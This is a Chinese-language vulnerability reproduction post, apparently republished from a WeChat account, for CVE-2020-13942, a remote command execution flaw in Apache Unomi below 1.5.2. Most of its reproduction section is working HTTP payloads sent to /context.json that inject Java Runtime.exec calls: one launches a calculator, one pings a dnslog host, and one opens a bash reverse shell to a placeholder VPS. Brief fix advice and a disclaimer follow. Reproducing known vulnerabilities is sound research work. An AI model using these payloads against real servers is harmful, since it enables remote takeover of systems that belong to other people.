一、漏洞介绍
0x01 Apache Unomi介绍
0x02 Apache Unomi漏洞详情
二、影响版本
Apache Unomi < 1.5.2
三、漏洞复现
0x01 环境搭建
在授权的某网站刚好发现了Apache Unomi,因此利用该网站直接进行测试。
(1):网站页面如下
0x02 漏洞复现
(1):构造的payload如下
POST /context.json HTTP/1.1
Host: IP:port
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec("gnome-calculator");"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
(2):使用dnslog回显
①:在主页面进行抓包
②:设置dnslog
③:构造如下payload
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec('ping dnslog.cn');"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
⑤:查看dnslog
(3):反弹shell
①:在VPS上进行监听
②:构造如下数据包
POST /context.json HTTP/1.1
Host: localhost:8181
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Content-Length: 486
{
"filters": [
{
"id": "boom",
"filters": [
{
"condition": {
"parameterValues": {
"": "script::Runtime r = Runtime.getRuntime(); r.exec('bash -i >& /dev/tcp/VPS/port 0>&1');"
},
"type": "profilePropertyCondition"
}
}
]
}
],
"sessionId": "boom"
}
注意:使用上面的payload进行反弹shell,并不能成功,后面进行了bash编码,成功反弹shell。
③:成功getshell
四、修复建议
0x01 更新最新版本
0x02 缓解措施
尽量避免将数据放入表达式解释器中
参考链接:
https://mp.weixin.qq.com/s/GebQxERJCmULLuRVRXsnYQ
https://www.venustech.com.cn/new_type/aqtg/20201119/22103.html
原文始发于微信公众号(想走安全的小白):CVE-2020-13942Apache Unomi远程命令执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论